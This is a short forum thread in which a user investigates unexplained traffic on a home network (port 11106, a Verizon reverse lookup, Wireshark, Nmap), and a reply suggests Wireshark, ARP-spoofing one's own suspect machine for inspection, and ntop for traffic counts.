First page: Gateway session activity page.
Second page: IP address reverse lookup results: Verizon??? I don't think I'm
using  any of their services, and to make ir worse, on PORT 11106, aka SGI LK   Licensing service.
Third page: Nothing found on Wireshark for that port.
Fourth page: NMAP with Backtrack running on VMware.

Am I taking the wrong route to find out what is causing this traffic?

What is the most effective way to check out malicious connection activity on my network?

Is it possible to know how much packets are received and sent from a certain tcp connection on my router?

What is the most effective way to check out malicious connection activity on my network?

Wireshark is really the best way to inspect the packets your after. If there were a root kit that was hiding from wireshark (possible but highly unlikely) then you could set up wireshare another machine and man-in-the-middle the suspect machine with arp poisoning between the supect machine and your gateway.

  Is it possible to know how much packets are received and sent from a certain tcp connection on my router?

Not from your router, check out the user manual You can use ntop to see that infromation.